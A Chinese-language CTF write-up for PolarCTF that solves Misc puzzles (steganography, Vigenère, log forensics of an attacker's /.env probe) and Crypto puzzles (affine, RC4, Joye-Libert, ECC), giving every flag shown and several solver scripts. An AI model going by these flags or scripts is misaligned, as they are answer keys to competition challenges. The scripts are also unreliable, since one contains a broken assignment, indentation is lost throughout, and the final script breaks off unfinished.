PolarCTF Writeup

Misc

麦填

本题思路如下:

额,这题有点难绷其实,先在010 editor里打开图片发现在FF D9文件尾后面有一个base64和png:

img

Base64那个解密一下是:sevenightnine,这是最难绷的这个在flag里是789(我还傻傻的把sevenightnine当做后半段)

OK把png提取出来从89 50开始,得到一张二维码,扫一下:

img

把这个flag和789拼一下就是flag:

1
flag{win789}

time

本题思路如下:

密文:ptdh{dqpfsajpsvjgSVgbVQIFLWXZ}

key: 长度为 5\4

开机时间戳 1630416000

除了密文,其他给的信息我没看出来有啥用。

观察密文格式 ptdh{…},与flag{}对比,将密文头部和已知的明文头部对齐,尝试计算它们在字母表中的偏移量:

p(15)-f(5) =10(k)

t(19)-l(11)=8(i)

d(3)-a(0)=3(d)

h(7)-g(6)=1(b)

由此,我们得出了维吉尼亚密码密钥:kidb

然后用在线网站解密即可:

https://ctf.bugku.com/tool/vigenere

img

flag:

1
flag{timeisgoingfINdaLIFEBOUY}

PNG头的秘密

本题思路如下:

查看题目的1.txt:

img

先用010 editor查看图片:

img

把文件尾的数据提取出来,重新开一个文件:

img

密钥和png的核心标识有关,0x89就是,二进制异或一下:

img

img

发现是一段base64:

img

cyberchef一把梭一下得到flag:

img

老鹰捉小鸡

本题思路如下:

这题就两件事:

拿到一个zip和看eagle_code:

img

img

这是flag后半段,前半段有提示:

img

搜一下就找到了:

image-20260407083331829

简单的base64,解出来把flag拼一下:

1
flag{catch you}

隐藏的二维码

本题思路如下:

这题用随波逐流一把梭发现没啥线索:

img

尝试一下lsb(stegsolve),果然发现了二维码:

img

用QR 扫一下得到flag:

img

Sis puella magic!

本题思路如下:

这道题很好玩,第一步:

img

打开起源之声,听一下,很明显的摩斯电码用网站解一下码:

img

得到何人的过往这个zip的密码:sispuellamagic,解压一下:

img

  1. zip里全被加密了,应该是要从另外两个找密码,先看png:

img

这个要反过来看:

img

唯一要注意的是i这个不要了(试过之后发现的,一开始把i加上了)。这个读取后是:magiciswitch(看起来语义是清晰的)

而那个音频文件,听上去没啥提示,用deepsound打开发现需要密码,看来是找对了,上面图片提取出来的就是密码:

img

得到一个文件提取一下:

img

一大串base64,用cyberchef梭一下:

img

得到魔女文字(魔法少女小圆狂喜),找网站解一下:

https://www.madorunes.cn/#/convert

img

得到hope,这是那个zip的密码,解压一下;

img

看看hint:

破解密码的时候意外触发魔女留下的魔法,被穿越到未来一个空白的房间里,这里只有一台电脑,里面是一些看不懂的文件,且电脑的时间永远固定在2035-01-11 11:11:11,,现在请你找到回去的方法

时间戳比较,你把2035-01-11 11:11:11这个时间和每个txt里的

img

创建时间相减,然后转成ASCII码就行了(在我试着前四个txt刚好是flag四个字母的时候发现的),这里我是手动做的,做完之后发现太慢了,让AI写了个脚本,遍历txt,读取后和源时间戳相减并转换为ASCII码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import os
import re
from datetime import datetime

# 1. 基础配置
folder_path = './' # 确保脚本和txt文件在同一个文件夹
base_time_str = "2035/1/11 11:11:11"
base_time = datetime.strptime(base_time_str, "%Y/%m/%d %H:%M:%S")

flag_dict = {}

# 2. 获取并排序文件名(防止乱序打印)
files = [f for f in os.listdir(folder_path) if f.endswith('.txt') and f[:-4].isdigit()]
files.sort(key=lambda x: int(x[:-4]))

print(f"[*] 开始解密魔法,基准时间: {base_time_str}")
print("-" * 50)

# 3. 逐个读取提取
for filename in files:
index = int(filename[:-4])
file_full_path = os.path.join(folder_path, filename)
char_found = None

# 尝试多种编码方案读取
for encoding_type in ['utf-16', 'utf-8', 'gbk']:
try:
with open(file_full_path, 'r', encoding=encoding_type, errors='ignore') as f:
content = f.read()
# 匹配“修改时间”后的日期字符串
time_match = re.search(r"修改时间\s*[::]\s*(\d{4}/\d{1,2}/\d{1,2}\s\d{1,2}:\d{1,2}:\d{1,2})", content)

if time_match:
file_time_str = time_match.group(1)
file_timedatetime.strptime(file_time_str, "%Y/%m/%d %H:%M:%S")

# 计算秒数差并转为字符
delta = int((file_time - base_time).total_seconds())
char_found = chr(delta)
flag_dict[index] = char_found
break # 成功匹配就跳出编码尝试
except Exception:
continue

# 打印当前文件的提取状态
if char_found:
print(f"[OK] 打开 {filename:8} | 提取字符: '{char_found}' | (ASCII: {ord(char_found)})")
else:
print(f"[??] 打开 {filename:8} | 提取失败:未发现有效时间格式")

# 4. 最终整合
print("-" * 50)
if flag_dict:
# 检查是否有序号缺失
max_idx = max(flag_dict.keys())
full_flag = ""
for i in range(max_idx + 1):
full_flag += flag_dict.get(i, "?") # 如果缺失某一位,用?占位

print(f"[!] 最终整合结果: \n\n{full_flag}\n")
else:
print("[-] 文件夹内没有提取到任何有效数据。")

最后得到flag:

1
flag{Now_you_can_go_home}

attack_log

本题思路如下:

img

在log可以直接看到ip,看到login success就知道是这个ip:

img

1
flag{45.133.12.77}

img

在nginx_access.log里搜索第一问的ip就可以看到时间:

img

1
flag{2026-02-18 01:28:52}

img

环境配置,第一反应应该想到env

结果发现还真有,在nginx_access.log里:

img

1
flag{/.env}

img

外部攻击者对 /admin 进行探测与登录尝试

那么用户名就是admin 或者在auth.txt把user后面的都试一遍也行:

img

1
flag{admin}

image-20260407084214056

这个肯定是在mysql_general.log里找了:

img

order很明显的,本身就有订单的意思

日志里有一个更有说服力:

2026-02-18T01:28:13 Query SELECT order_id,total FROM oc_order ORDER BY date_added DESC LIMIT 5;

1
flag{oc_order}

image-20260407084253438

2026-02-18T00:00:04 Query SELECT product_id FROM oc_product WHERE status=1 LIMIT 20;

2026-02-18T01:28:20 Query SELECT product_id,model,price FROM oc_product ORDER BY date_added DESC LIMIT 5;

这两条日志可以看出来:

1
flag{oc_product}

Crypto

百万赏金

本题思路如下:

这道题就是要多尝试:

干员,本次的行动任务非常艰巨,我们截获了博士的实验数据,但是这个文件被加密了,请你认真搜索,搞定就撤。

已知实验数据加密规则严格遵循以下顺序执行:

第一轮:对原始 Flag 执行凯撒密码加密(偏移量未知,偏移范围 1~10,仅对字母字符移位)

第二轮:将凯撒加密后的字符串执行栅栏密码加密(密钥未知,密钥范围 2~4,加密方式为按W型读取,且标准型带有两个特殊字符)

密文:DFGNBSZNGNMKFF

那就逆推,先看看栅栏密码2-4(总共就三种可能一个一个试呗):

img

然后试完发现用第四栏进行凯撒解密时有明确语义的字符串:

img

Mode5那里:一百万哈夫币,正好对应百万赏金,这就是flag:

1
flag{YIBAIWANHAFUBI}

博士的实验数据

本题思路如下:

密文:QJBXQJFXZAKL

已知条件:明文 T(19) -> 密文 X(23);明文 F(5) -> 密文 J(9)

加密原理:仿射密码

推导密钥:通过观察给出的两组提示,从 F(5) 变成 J(9),以及从 T(19) 变成 X(23),可以看出字母的索引值都刚好增加了 4。这说明加密的乘数 a = 1,偏移量 b = 4。

验证条件:题目要求 a 必须与 26 互质。这里 a = 1,显然与 26 互质,条件成立。

降级解密:因为乘数 a 等于 1,这个仿射密码实际上退化成了简单的凯撒密码(向后平移 4 位)。

得出明文:我们只需要将密文 QJBXQJFXZAKL 中的每一个大写字母,在字母表上往前倒推 4 个位置(遇到 A 再往前就回到 Z),即可得到明文。

最终 Flag / 明文结果

MFXTMFBTVWGH

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
def decrypt(ciphertext, a_inv, b):
plaintext = ""
for char in ciphertext:
if char.isupper():
# (y - b) * a_inv mod 26
y = ord(char) - ord('A')
x = (a_inv * (y - b)) % 26
plaintext += chr(x + ord('A'))
return plaintext
# 已知 a=1, b=4,a的模逆元 a_inv 也为 1
ciphertext = "QJBXQJFXZAKL"
print("明文:", decrypt(ciphertext, 1, 4))

flag:

1
flag{MFXTMFBTVWGH}

RC4的密钥泄露

本题思路如下:

根据RC4流密码的特性,加密和解密过程本质上都是明文/密文与密钥流进行逐字节的XOR运算:

img

已知明文片段 $P$ 为 TestData_ForRC4_Decrypt(取前22字节即 TestData_ForRC4_Decryp)。对应的密文C的十六进制为:54 65 73 74 44 61 74 61 5F 46 6F 72 52 43 34 5F 44 65 63 72 79 70如果我们把这串十六进制密文直接转换回 ASCII 字符,会发现:54=T, 65=e, 73=s, 74=t, 44=D … 79=y, 70=p即密文转换成字符串后,与明文完全一致。

根据异或运算规则,如果一个数异或另一个数结果等于其本身,那么这个密钥流字节必然是 0(十六进制 0x00)。

  1. 解密目标密文 (C_flag)

由于同一密钥生成的密钥流固定,目标密文在解密时同样是与全 0x00 的密钥流进行异或。

任何数与 0x00 异或都保持不变,这意味着目标密文的十六进制直接对应的 ASCII 码就是最终的 Flag 明文。

目标密文(十六进制):

1
66 6C 61 67 7B 70 6F 6C 61 72 5F 6B 69 6E 67 6B 69 6E 67 7D

image-20260407084723194

flag:

1
flag{polar_kingking}

冰原上的OTA谜题

本题思路如下:

我们只需要将题目给定的错误二进制密文,将每八个的二进制串按位逆序(左右翻转),然后直接转换为十六进制即可。

计算过程:

我们将给出的 16 组二进制逐一进行翻转转换:

第 1 组:11010110 翻转为 01101011,十六进制为 6b

第 2 组:10010110 翻转为 01101001,十六进制为 69

第 3 组:11101001 翻转为 10010111,十六进制为 97

第 4 组:10101100 翻转为 00110101,十六进制为 35

第 5 组:01100101 翻转为 10100110,十六进制为 a6

第 6 组:01001011 翻转为 11010010,十六进制为 d2

第 7 组:10111001 翻转为 10011101,十六进制为 9d

第 8 组:11011011 翻转为 11011011,十六进制为 db

第 9 组:01110110 翻转为 01101110,十六进制为 6e

第 10 组:01011001 翻转为 10011010,十六进制为 9a

第 11 组:11001101 翻转为 10110011,十六进制为 b3

第 12 组:10110101 翻转为 10101101,十六进制为 ad

第 13 组:11001011 翻转为 11010011,十六进制为 d3

第 14 组:10001101 翻转为 10110001,十六进制为 b1

第 15 组:01011101 翻转为 10111010,十六进制为 ba

第 16 组:11101011 翻转为 11010111,十六进制为 d7

1
flag{6b699735a6d29ddb6e9ab3add3b1bad7}

我使用的是随波逐流里的进制转换:

img

img

伪ASR

本题思路如下:

这是一道基于 Joye-Libert 密码系统变体的题目。

先分解 n,得到p,q,利用 Pohlig-Hellman 算法,逐位求出离散对数 m,下面是解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import urllib.request
import json
from Crypto.Util.number import long_to_bytes, inverse
from sympy.ntheory import factorint
# --- 题目已知参数 ---
n = 500532925884017190157531654042977388637611201227338971326884172046371105194776392356795147
y = 213088474978954913521695933149257926315459990908578573756933176330915972508162260163992936
cs = [
57494912618263048538571755953837772127117773898872797680570116373460237301011181142984690,
344186007342959044249362172584754916978318670779607618696087105142714882053499189453591750,
11170932486684627637967687021711067484959106608189352734064089980678923008744240797135422,
73837068555811384284867151570572743386582880055013744261872093001909203963879165023864836,
64356403000986744386743473269071732498867064770469172347340097989063717305436807805878673
]
k = 79

def get_p_auto(n, k):
print("[*] 正在全自动分解 n...")

# 第一套方案:白嫖 FactorDB 的接口(秒解)
try:
url = f"http://factordb.com/api?query={n}"
req = urllib.request.urlopen(url, timeout=5)
data = json.loads(req.read().decode('utf-8'))
if data.get('status') in ['FF', 'CF'] and len(data.get('factors')) >= 2:
print("[+] FactorDB 命中!已瞬间拿到因子。")
factors = [int(f[0]) for f in data['factors']]
for f in factors:
if (f - 1) % (1 << k) == 0:
return f
except Exception as e:
print(f"[-] FactorDB 查询失败 ({e}),转入本地强解...")

# 第二套方案:本地 sympy 强解(可能需要几十秒,请泡杯茶)
factors_dict = factorint(n)
print("[+] 本地分解完成!")
for f in factors_dict.keys():
if (f - 1) % (1 << k) == 0:
return f

return None

def decrypt_block(c, p, k, y):

r = (p - 1) // (1 << k)
C = pow(c, r, p)
Y = pow(y, r, p)

m = 0
inv_Y = inverse(Y, p)
inv_Y_pows = [pow(inv_Y, 1 << i, p) for i in range(k)]

C_current = C
for i in range(k):
test = pow(C_current, 1 << (k - 1 - i), p)
if test == p - 1:
bit = 1
elif test == 1:
bit = 0
else:
raise ValueError("解密出错,数学逻辑崩溃了。")

m += bit * (1 << i)
if bit == 1:
C_current = (C_current * inv_Y_pows[i]) % p

return m

if __name__ == '__main__':
p = get_p_auto(n, k)
if not p:
print("[-] 因子获取失败,请检查 n。")
exit()

print(f"[*] 成功确认 P 值为: {p}")
print("[*] 正在执行 Pohlig-Hellman 逐位解密...")

flag = b""
for idx, c in enumerate(cs):
m = decrypt_block(c, p, k, y)
flag += long_to_bytes(m)
print(f" -> 块 {idx+1}/{len(cs)} 解密完成")

print("\n[+] ========================================")
print(f"[+] 拿走你的 Flag: {flag.decode(errors='ignore')}")
print("[+] ========================================")

得到flag:

1
flag{go0_j06!let1sm0v31n_t0_th3renges~>_<}

ECC的攻击模块

本题思路如下:

题目给了一堆椭圆曲线点 Qi,满足:

img

对曲线上的点(x,y)满足

img

把多个点代进去,消去 a,b可以构造出若干个 p 的倍数,对这些值取 gcd 就能恢复出 p。之后再用两点解出a,b.

然后再用个Smart Attack,再做一次 LLL,就能把最短的消息列规约出来。

解密脚本(sagemath):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from sage.all import *
from math import gcd

pts =[(4713513545399586887294281187501009141689080934674926984853052046637141607331993392136186920709675152470824454822335527736604585312216293390500894812356575, 10152198551269550712132843544953877513974069303791371586626547671550636936369607844350995807520993189830394615282586805640124173078292476320861958178531199), (8497709856659541496506566158438727086633064779296427286612559352247045304592577869075723270252557382159636274220949698085489427175611575498725494187042219, 9116811362014883884879981282521462123463402369273722016008105935084826801111377968641225157887930975588405833350168170885178864192235006321249285744756607), (9370988588550376568847533229569651406006327680521920971380933472551236466257993862023372207379492794618019196741718902793769742423589142369766582541381456, 2964764716081715738931864218952095017577031943078710662273038672326443429898927649838098895380036049701254956968440876093577389832396678079667784517400438), (9780561431490704165761200835168742342147019392307027843608906950941244751705916411353543429159840043103272583252784603317509552870673884311510395715589823, 4512360262119206250842086638048812502384840258083296584133384225879227543325169341795597008831855800692604773248185325609068166181249185285419214480894245), (9753892250466466740522543908112180868496775086018060713800521963469049945379911034546236677650557303039887137123496849920375395729255201971208204340312401, 1938991444752122074176200366358680893894177968559383024484416921026824613924903539687055302548680671218740698360348493115771464268448199996301653785482255), (3956377375220167264841327493686873211450973487259797861617968170206067349893946190638797758839551762336875162001035221844923167039774464458844780587411290, 2811884831397970155720238376608187196147035379379721383527942003189302602153280352219864817477497801745704924766135613808068056390979231466645561668031024), (9666287196438318899841485440079998120284795375413795856320443556455924086216013060731258663630259450515687636598820588811051314151419247760340027636254010, 6242436280614711684558785155511593403934172620329392146413928090178040475814185607897887229598797388837994931615621147403337923088271068952762638016855590), (6410558156839007797687898586831013305762106341458065938664504823229266562576428647033727809573119925974366171334827235046449418027002452010139094706683524, 166040140975198871456147224171862912756049890094169801765109995587970035602951233459371050668124316347586947163116257377961189202602060040019748070219990), (7487523686996071358586432253848922887425506981897556365676381361674713123268395354139090901692108603574450937831189242041732109717228219023361891682059858, 3833064097409451074126677286511876656776323298352406335396385518824369065179582162537034691375770260284647652021989411071188459726289169799948499527352978), (4729078931071331163964102690008525906997212672160480378168436234117369684502122703336874338708993594555380660201608846607091713539215909055852251780666200, 9671005639423355090071773219691535311565452170612214746096012853592987212889402308479743500146866239496815147634771960998944036591154433878637345854681580), (6821686173012785249374727322813382690658902308759017953636851870535291459139748120517278436478763860649866374062463951709695342159037267531366354633119425, 454109349563783364627292840194986877835558881374972642229389545049685682117058018008055923374865359150490448558569535600064463313774005486853335528084868), (8097352798426399714734815712595721555460575301502694560292887744521254417566780198441732519052015108845518267351690594699620710114415927821492280557184961, 3143117134725172187551030220914090560736539268901574157885702648644662853782339667244393783677404575650558122950108703297687085677618671682413400999092492), (6513183126611071344734801408546155978497170719570544711452832905026449120538993019567678246149684116904668717489068578437282308835637038352023972256007784, 8595256417577044566295431272464816721415384447710220168112404314046298881021487795315799293386989967911497645651199195527326646204582743481992783130665695), (2076200911997145561230367295021401989448362508676000676577311337299144867938580996744776932574458926497687916072562094577782433445706636680764023115075901, 4185181876972327147075282615187299338935965887368883151241490415013808432719173146515945602139988343152455030760117095904414901357566253216420331574702142), (8381148261138239703852416544878169891675330535019140791244013907671539392169214622437710482164782450053349339730858222886346055951588212694455090992026758, 10163796644510826165062555164776253676683391937554299535024512638738572461507137822548694428887856947619206289961946341513952367341327961199388454010911345), (7082052828661106343309085153914890287304976485666067977869367415115311594266326288964638667384892162749794084356403456012624482827804555380041185165461610, 10970779558480467455850489414892463070247230105462800369438019696961142385993997445973377590939104585064920741469159965752608152462788217994666526971187676), (10925547866913717228347553467715877154535344097358915967045800604047245512707552888643862816712660316383731871281241836192113460647119393339781321061847546, 6055866638544128750097137956427321128332370171075374382430335937167361572997526522356283730243910934362510966098560693257514648296238021784063773472282317), (6785790260925369751944279679131967774385917676053671994816660134554688581275392628347250117223466845286763120154394370759728270091856895114610818897127496, 6944819097069963408944767211243358274272483862643515403213512319523594830818990162549356650095103065424909926139792747369879142585803045804022938030858720), (10150680299085473411999071651257510437835183830128617479150385170276511661416391671621212657988922640891651500543376218492424168354335425534467598112916367, 6888072072792068816925242651491095512907051998862014192078971292171690924351979706726926617264447271133901394941261441480528738783229729193335653038691067), (6144733739837148454772329326705634341817968434802231929905485148699984301367998724275922187148848520362233957437728130259536441574897386258118529064688341, 6922401772481881149066720640583520627817261494001167856510602081133635708642763148740953963043376201851410699406141136890064725776678780016786484847583214), (7183537698681045949875783519960782529707812105971837366532045033353552615284313247237848218535204838266158925723440665819577893781022458960790760810597397, 972458879736849097211443260725151606545512204610922585342131271017385141140207247723299888723549405720647865837813721206081762170996939779151465778359883), (1703616895475378292849103149650192818023569782199400711730101432265869461747826906638002389489855890866591624514624290243581490849013123852690673668158707, 3965658649904842831282861075974019284939181243027712551012404295076584641786237749626883865637323655400727181532596793962284990080186320814580576232764219), (8963495302555958703784098831852945750716266028695276241049279835560446187278067379699423883547371501029976357779282379030218705676796414104820180108129131, 9560675517442950285567098226729931887208424165598207710747610570352243682357219160075511868468892440533601005756017577676212645247627512657664612197886753), (5895842943761546170585247530130278876214835406657491371251930010354754539149126507657276091840277248547506799183780141446090851820226059572960774100958968, 7502656301329564949518360786200839569606634784837274630989884217434653385706698020742131117367834019542645778778345958194210006811683442080243977814147856), (8640100751937124680820611508642732502895060458726683545757217842488862932846036386984435316630861618902973439137510767460729980613091227298179451141360505, 8882095605573426533581887021721414251562279415082941499209814199741153497994653123467952083382221269756103559259084746736753166028905023164640314021714001), (8388247659079623573428713053298218758880959226750090682709831798344118488654853756660826146966546928039026596856245651901691263742527856567914497516291114, 2554686546158926080572492543354230379583890635573966376628896520173183537504248326545786454456701917490537148658673048732906884172862899535090764870061838), (3522972508923517458292353763302819930303577548750539717212833970429996939300225630636854038507526101228562069393852224597963907070523982294660351842280633, 2722886940087289673479756522605024512774339223436171406753474672760772800787941732367711740776438505211011207232095730057266822772428493683405241349648820), (5747287482977987126791251898912454610276486805219445014219573080628876839977604195669030439484891046209507206924952426057204453046696371912908633064230479, 6888743201368571672232377272185024669203662616683269994478128192921909999937032609025815813649655882205087573705374103086536384400013495005395551198713651), (5395805452593588173733709867409415556635519685320679663417386653285203287195773348337753725970479425032796150389196920192180585906474753231777661079289437, 2049198785703634792274246696306539108405783634680414306952855128318576045437021450775416575637372374508674635396511497565807111357058258974223438148878139), (1106569381500878776327074503776544923606655454675632799210090625837364461937678338160512692988670222225824403087574662143185601960224018905113923782270539, 7807167264259112235256140538958359886355420172448675887504580682313196334695678083464576229080110711789720570909552233828459789174622915149390826529983979), (774420854887127501308191286785213114311123916232266805877360705182482499403790079656851056723325281443761295724878231930299234031094963169518924985204326, 1823239988080736026294280175757387698370391442147440999541017982717190148487204580007594680643967202283878443924878273089191744975594960310070541049913208), (10390768586716868216274885948565940967753406041172076158220674075063692958975829973565237035576416388533593319064806625802185370125475892280705287378008167, 7936898961487579224597034819214266150399838606754275451599382249114378117387985558608837253849686999975720266799298482522115282514491361371396094456368516), (6559061475296632413236056122203276549479841984223974661947570674250692681575131892757949944065429272895838779365614183240180694750678008976228961748322336, 473245583943987902110281484140499960244770537636405429845479764689369773269971976056888748769095922326063256384576160463655904425218553458364943959899086), (6990897946181173410381225887279699398546212633701662109218390739579375069633389645336979977106684274400300780444554545122065074307060125703820181316384214, 7819208183328181779638777784468566190149101582692741398921460936301776675490965897874825617770665564614702759841245059168666900633861059762858637125280948), (7747435518316782982483754090978229664138034777481959364950240813857697188791265248527812695232235005608599944025036371707403013790647331893879773212237043, 3159418369091201654146413539772282132593105789449657281371263577186276285132860600728403344673301949317743362672738811296195856181843548485016286031920833), (3369791038393301556741708575440525525282467890252654592506744643498949048083071439806419974633826916428682344210022547978555038915574927383371276122836437, 1254207105162683404624839305815976360434593439971534044690683811862373371974690050945107547088863949294187872065584471393112103746592673505295745839104903), (12559802051565696220908490791176980888215159475214543819591025553038397887258210157937107348856671923347442195747214530113819589139784491311068764022315, 92137825928577563592704152890340316446433940657283569689729668523058912940157586067464548561955548003087234875918821018302106943344124622115389236652708), (5530860676475771990691794230197843848995136632588902707671870008682291466072853151674692329856555254129777934598717106397379676504637402898491515647019614, 7607657346401777274388222553201723127198119754377956597528780653945092019992176978208398510287887955973308860512490030992878891943040624792754656069217442), (8656514966764534509634687395591541433018230421930114964742418579055006526313285528361583224660642964199912067740313821869193158938537412710631568658169841, 4116821657037353549042717433725360946713128495027684788081224012710596099770343092504822988643111922114078504358308321081016458737603136815718086377286312), (8100831214626791708799713927585164778396993990058862482613985356488740056554280863238290359683223040430278300948843843441559818431263141038149252959678174, 7157146800294342965648679696235976006969454630987554609240655182227200766624871072125866911886299487131892259075918834107331341357650921521849485533872689), (10890755415745834079684707961450267393014312434887212673127786238658853553163490057950949556382435981261018626537652744836077613969932720662450748419434520, 5279648749877701240684141308917960279039127385754415377927568487239966645994472078390526598966778096179381589406514532819180811465019758802791435100869881), (9060075587488082866770299601000001129096055062459420816879850056758836467625363905808761432389493095202971219869587736150065097181836148704494938392336936, 3043213364684213962601012696251843801198320049133534260158876000568009047174757647991108751400672840493299153730363664649892567435814928501814954691990523), (3900860495400935419474632339214283753209440821844587105288679983316600743413043557244051819610723553012673147837484933074775700024738029322306219374175466, 8776159342624965969607240788610667981250366112487928135123108438906795434150675020540621553123713010466600434042759568095802865668466320036637390801734330), (8892508982428674296232570395108858435301220674549059757865650461633339757693888275460458282826216723318314278599996754746396225250466370460643994463970197, 9849460100328796212561749973397004158854148228901082087955317687788087821727683490635917903048647923933946683751563384919385239051043522197194110574632931), (10923358262051920487577188144536432256688530690409723011811352726717234614031126144612568470205593144080520262586830305738866710154785063559118988651582041, 4278762242548247544689233335926765616778120425273995711653646115727314071200548262199619769930492354067641770131381420729138534905254921562061287863678579), (8521580982419336726352152980518468054450102755517772937105339841639190905405892229656525386511809992487375982957938116145220023166622765996136275506785708, 10265827555400740987534703970942130173226636930554901199221250047258482081430913795266364437774976529788958093275042612558863535039271906282995137107627584), (2430642973360021054121784023477961807614448837359566950318322641585771572293505818234749487480093838215922820793766334539353762952507350475454732071659280, 2400499438983618692940189159631700542159222145491707907027391147659206494582970021302820336545010218513371064646527061311337068413980426448598708547679798), (6379663781361193014611200449797118722129634709503471706511279908764536219938459648859196147463736132344180113778601092741603098330061376323115464482342107, 8629554835368413912047551895840667218749053694545768537773896290059422290401463412017509705385398630783522251377233215565765194397930999511058978622876057), (7039065139500440281589307484102024271785176578683825020200946781098528981772443757014579531023297605219645322785589400163170871971836743493541233816898079, 4593229824372611907908775103450734214568303649676465133144653410051204005622425211159365276096465994869689264858974694128055897237933264343138656426877465), (11088093414029687628702921161107971796563312667327731805188741006469622384974659087755849834839203706047127005849568892168009150026723050453762252290082778, 2151567957127055257938140101478880653268415988826108946410001040705617336396510646577379112035863270338411831043142418830961326317785031136861804470304272), (10527694926095406031055185608275990554917090867921483961252788111078656198776927709171605054020314909280105508156201380170019108019175165984666471816770594, 10044940218068599613230634351641979827962921774265515550080566334481685130172827660677357621962754333445207367021790472455047451902749027433440310564392697), (9392436380839172882423963605949104094720677145349689577098509262697547555527268631599802779619266044983435905142007889266132399049867054730413893986040305, 164988482694870464413980138114343351662368942522471497717693908999698594387612234316498805037115936509113904833527763580932561835992784658496880185984866), (6956127737676490531426292131711872627247522259519705465384740100713218133674100965647277804272106953560643561751864433453923392267380411688968307071846307, 9164160949738360274512571610611956476656760651609341958216699025952454982289806396960546657642237157594546056678501123816848520997714132881419972438316403), (811174123406561700124279452048287283175389028135402047183215845338560775921962161974354282314553287452152276791227225547913526788464685283530555377504007, 4788900230259888619400556812427804331693848584040562124584037893249458247256424125541021023833225951620197555951694180569171171724979793094969554101952303), (1736682233486154410683835113015869629344648044580356253776803828767105159078666677116346579157444431929727831155640042184966782986536913298785407623707811, 5956479242552381563937300276377111345336991759070088400187861710482585910274532388075515699967940448034902119327442934275702408190006193692603919706443549), (4013279525694194347173154308911473420544385422498550718364692313155299215442908150551148501460496135245782361634203378846625926895085512415201537236895566, 1902753177706390097624306921789800778334195217542569757651857913301043355955459634821266031304005762631830538130632222369647843207148891353757813170297434), (4067507997965444976624685861896057234479418730640313763444629188870627444034819511881954765484464718227600918892299096151015302916608648437841689686039317, 4527385289218936918812173343439467707015227095224290359264738892108388706321564070183843485435827312334758607812585337722137614610114122030643878945779279), (338997763033935532814869176902554820400024788841829984365895451611815957160485020645467219597211333339002110402243665331243416196279868343210212041580190, 3485582242772643502405014036023218379736455098673589612235775614645540773027817032226979547104676034198998099892299215333525232022350297267244591667693912), (5766985815237821769598206059493311507378085744889305837305779902407188403983388373601086132780913691855876288394922334989682149049340300098915770228030905, 7753334190670676538446720585641859573433398743249700376484724298227907926849838085521963801408733235146240320346355009426906239872747392144736251780704977), (8299099631691361462893953510891571024438769990517881312043204121912273865770751850474084908124074498491364123876411607614783809672532677182810786551530236, 1850925269241030992691402475818420047494547060148283456210768271370265182087692429342859918730723443662381559466247461949717812910218990345175688951352463), (3153803035425954485388059217642503655668114692609711492446855252064443129547366536023055176005359522287016316267760750993074929407215122939099849400146684, 8212436592957141471533918899961881794532929265974532094198335625261970575879354714612726011218656880333087010971396164348888163103134249685035160466428893), (382776251972683162969137667785567984384290833592973844371610020937563323010839647792998943194116498772324465856791567205427662610024045091038814208263484, 676358016809511771333866886614256139498887961722630346274766646920140715993325241881077698730828177418833236078140586896144370558347572672150244705573519), (1691433422586309279816119068813544959916209612536303370492461656830904826416690221284704787208252738787389369317471538526983395018421865500920840681245663, 8403443691175628318411736415339597118989092964994031807359279687811927434675239227236567940010318597393775103350326829250819642598243721575412700792498900), (275806834075046641013656845029727938896135374487534330613029156229251702278764369369772064852312559831504835339696564904539551736015140639067445623431152, 6577150175375314081077722739090578027857810661765284783984639508642933027085377135918361786655916167922282799254162203359610957807591620427815841742171461), (5265903652703527428854672016212551093754479669961028121145288016160652115123235984477569118169510725255823273484188886656577477765631533875862655774967430, 5844658045975164560536702755522017021201699068948110473314041745782236538859637867917515787652073246575417282155529807235915240553861762687257791282155929), (10755958150627542439503991149243528352912807333945079169841313114537575617416916501230841947227017430365733523282575886141873994964186782784247910600422133, 5972264584103791666713406043123051515895497479181511683362693289465234484963177727868977634921335668191515839158160927877388276628500805325129382626589797), (2874899664578375983080728195667256942067344855479531687322864765538594373911892436945087043415841955863427589850322111827927636477081217711280709118874318, 6540406788521211835470251698063051662706898704267381715107551456767052583629832166003961937569833997328861496038345512332340380114045088129481899031991893), (10795521906690341353772601060644892051620578172176883594482772326651448283948314165229282203906464168702495741643062598036232174174127695291083810624554942, 6652625472869226167056761848338668216933432909457328262989386117179784558643677636006127533672984402759443631020780356519352673431773730684756836190699340), (7339235419213163414750352747610057623136858889814642133567062936815360603250260207647872023306809097694736247194874624893003076242957235361364339586853021, 5187782095170398198551458757942377008246293708992561530628060270139209180654493648130056902725573769819246400643646671985350867705852058069312175673985488), (1544129876235167854544782762775365882656702052172506506203380863898952829453926276823950429505877949412168631783546594771357821378503365392208987072003559, 7026458087980163221460582764199084613389639975772226907928090721491161856198484784481090429561216394513350683361380545854827390987196197393969946368336077), (4094944404044760466250567205213975777639108577925836641304058380946558879157675988189822587708635799268789931461760616526159151649612261301752329740376656, 7617445993346577313348341154852822159574750640978221029227889101432976720566638790653213605802846155613066288875992779638873350568769501902070806146693014), (1047171724289918884443388054089002620955976095601018978652974915706602837727859687503476839868655128412771307298616261093422446641323802691951730338375391, 8493097817612495005746562525578439841199022041487535790695823855541167774591234650229306314838514318082659056478241723539512908482058250795367549468045818), (6125277953182773690703210994168685482252039068786421523819650920598144427039838999734754427347812527212592563571649142129834001856311497237125332427371662, 8395574928161472064627370271176385006792228123838986698825194540578364280845737652181986634254146175463330719501615174747454931644314818285496715282911319)]

n = len(pts)

def recover_curve(points):
g = 0
for i in range(len(points) - 3):
(x1,y1),(x2,y2),(x3,y3),(x4,y4) = points[i:i+4]

